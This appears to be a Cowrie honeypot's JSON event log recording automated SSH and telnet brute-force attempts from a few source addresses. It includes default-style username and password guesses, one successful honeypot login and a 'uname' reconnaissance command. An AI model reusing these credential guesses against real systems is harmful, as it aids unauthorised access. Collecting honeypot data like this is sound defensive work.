{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:48.404958Z","src_ip":"45.153.34.112","session":"034d7a5aeef9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:48.487058Z","src_ip":"45.153.34.112","session":"034d7a5aeef9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:48.719781Z","src_ip":"103.176.20.57","session":"668f8498466a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mongodb","password":"mongodb","message":"login attempt [mongodb/mongodb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:48.737965Z","src_ip":"45.153.34.112","session":"034d7a5aeef9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:49.826110Z","src_ip":"45.153.34.112","session":"034d7a5aeef9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40662,"dst_ip":"10.17.0.5","dst_port":23,"session":"d96f4310ee67","protocol":"telnet","message":"New connection: 192.119.13.58:40662 (10.17.0.5:23) [session: d96f4310ee67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:50.964457Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":45020,"dst_ip":"10.17.0.5","dst_port":22,"session":"390ead893c05","protocol":"ssh","message":"New connection: 45.153.34.112:45020 (10.17.0.5:22) [session: 390ead893c05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:52.016411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:52.021057Z","src_ip":"45.153.34.112","session":"390ead893c05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45194,"dst_ip":"10.17.0.5","dst_port":23,"session":"653a81810ec6","protocol":"telnet","message":"New connection: 192.119.13.58:45194 (10.17.0.5:23) [session: 653a81810ec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:52.081467Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:52.103162Z","src_ip":"45.153.34.112","session":"390ead893c05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"testing@1234","message":"login attempt [testing/testing@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:52.552244Z","src_ip":"45.153.34.112","session":"390ead893c05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:53.637648Z","src_ip":"45.153.34.112","session":"390ead893c05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54222,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6f68571cc23","protocol":"telnet","message":"New connection: 192.119.13.58:54222 (10.17.0.5:23) [session: a6f68571cc23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:54.433758Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":45034,"dst_ip":"10.17.0.5","dst_port":22,"session":"023d9f562f1b","protocol":"ssh","message":"New connection: 45.153.34.112:45034 (10.17.0.5:22) [session: 023d9f562f1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:55.564541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:55.569821Z","src_ip":"45.153.34.112","session":"023d9f562f1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:55.652943Z","src_ip":"45.153.34.112","session":"023d9f562f1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123","message":"login attempt [frappe/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:55.909471Z","src_ip":"45.153.34.112","session":"023d9f562f1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60964,"dst_ip":"10.17.0.5","dst_port":23,"session":"91c7ca1863b5","protocol":"telnet","message":"New connection: 192.119.13.58:60964 (10.17.0.5:23) [session: 91c7ca1863b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:56.163945Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:56.994350Z","src_ip":"45.153.34.112","session":"023d9f562f1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":45044,"dst_ip":"10.17.0.5","dst_port":22,"session":"31c42321a6ef","protocol":"ssh","message":"New connection: 45.153.34.112:45044 (10.17.0.5:22) [session: 31c42321a6ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:59.134479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:59.139539Z","src_ip":"45.153.34.112","session":"31c42321a6ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:59.222018Z","src_ip":"45.153.34.112","session":"31c42321a6ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"123456","message":"login attempt [root1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:59.473106Z","src_ip":"45.153.34.112","session":"31c42321a6ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.2919921875,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:08:59.947689Z","src_ip":"192.119.13.58","session":"60b96b2bd4e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.138794898986816,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:00.206769Z","src_ip":"192.119.13.58","session":"4040c50508d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:00.614678Z","src_ip":"45.153.34.112","session":"31c42321a6ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51412,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5c9d11bf4d6","protocol":"telnet","message":"New connection: 192.119.13.58:51412 (10.17.0.5:23) [session: c5c9d11bf4d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:00.994271Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":34128,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa6b4d919451","protocol":"ssh","message":"New connection: 45.153.34.112:34128 (10.17.0.5:22) [session: aa6b4d919451]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:02.824139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:02.833012Z","src_ip":"45.153.34.112","session":"aa6b4d919451","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:02.922956Z","src_ip":"45.153.34.112","session":"aa6b4d919451","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:03.173182Z","src_ip":"45.153.34.112","session":"aa6b4d919451","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:03.402020Z","src_ip":"45.153.34.112","session":"aa6b4d919451","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:03.405433Z","src_ip":"45.153.34.112","session":"aa6b4d919451","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:03.491428Z","src_ip":"45.153.34.112","session":"aa6b4d919451","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:03.497098Z","src_ip":"45.153.34.112","session":"aa6b4d919451","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":34144,"dst_ip":"10.17.0.5","dst_port":22,"session":"2916f5b89ec3","protocol":"ssh","message":"New connection: 45.153.34.112:34144 (10.17.0.5:22) [session: 2916f5b89ec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:06.311150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:06.418155Z","src_ip":"45.153.34.112","session":"2916f5b89ec3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:06.432288Z","src_ip":"45.153.34.112","session":"2916f5b89ec3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser","message":"login attempt [fastuser/fastuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:06.758518Z","src_ip":"45.153.34.112","session":"2916f5b89ec3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:07.848238Z","src_ip":"45.153.34.112","session":"2916f5b89ec3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.995802879333496,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:08.411505Z","src_ip":"192.119.13.58","session":"6ea4eb30bc70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":40580,"dst_ip":"10.17.0.5","dst_port":22,"session":"f219bb6a42c2","protocol":"ssh","message":"New connection: 45.153.34.112:40580 (10.17.0.5:22) [session: f219bb6a42c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:09.879165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:09.884526Z","src_ip":"45.153.34.112","session":"f219bb6a42c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:09.971947Z","src_ip":"45.153.34.112","session":"f219bb6a42c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uploader","password":"uploader","message":"login attempt [uploader/uploader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:10.218985Z","src_ip":"45.153.34.112","session":"f219bb6a42c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.63585567474365,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:10.491831Z","src_ip":"192.119.13.58","session":"d33220fc53b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35282,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f808dcf54e5","protocol":"telnet","message":"New connection: 192.119.13.58:35282 (10.17.0.5:23) [session: 5f808dcf54e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:11.239302Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:11.348351Z","src_ip":"45.153.34.112","session":"f219bb6a42c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.63827085494995,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:12.047412Z","src_ip":"192.119.13.58","session":"dd41a237af60","protocol":"telnet"}
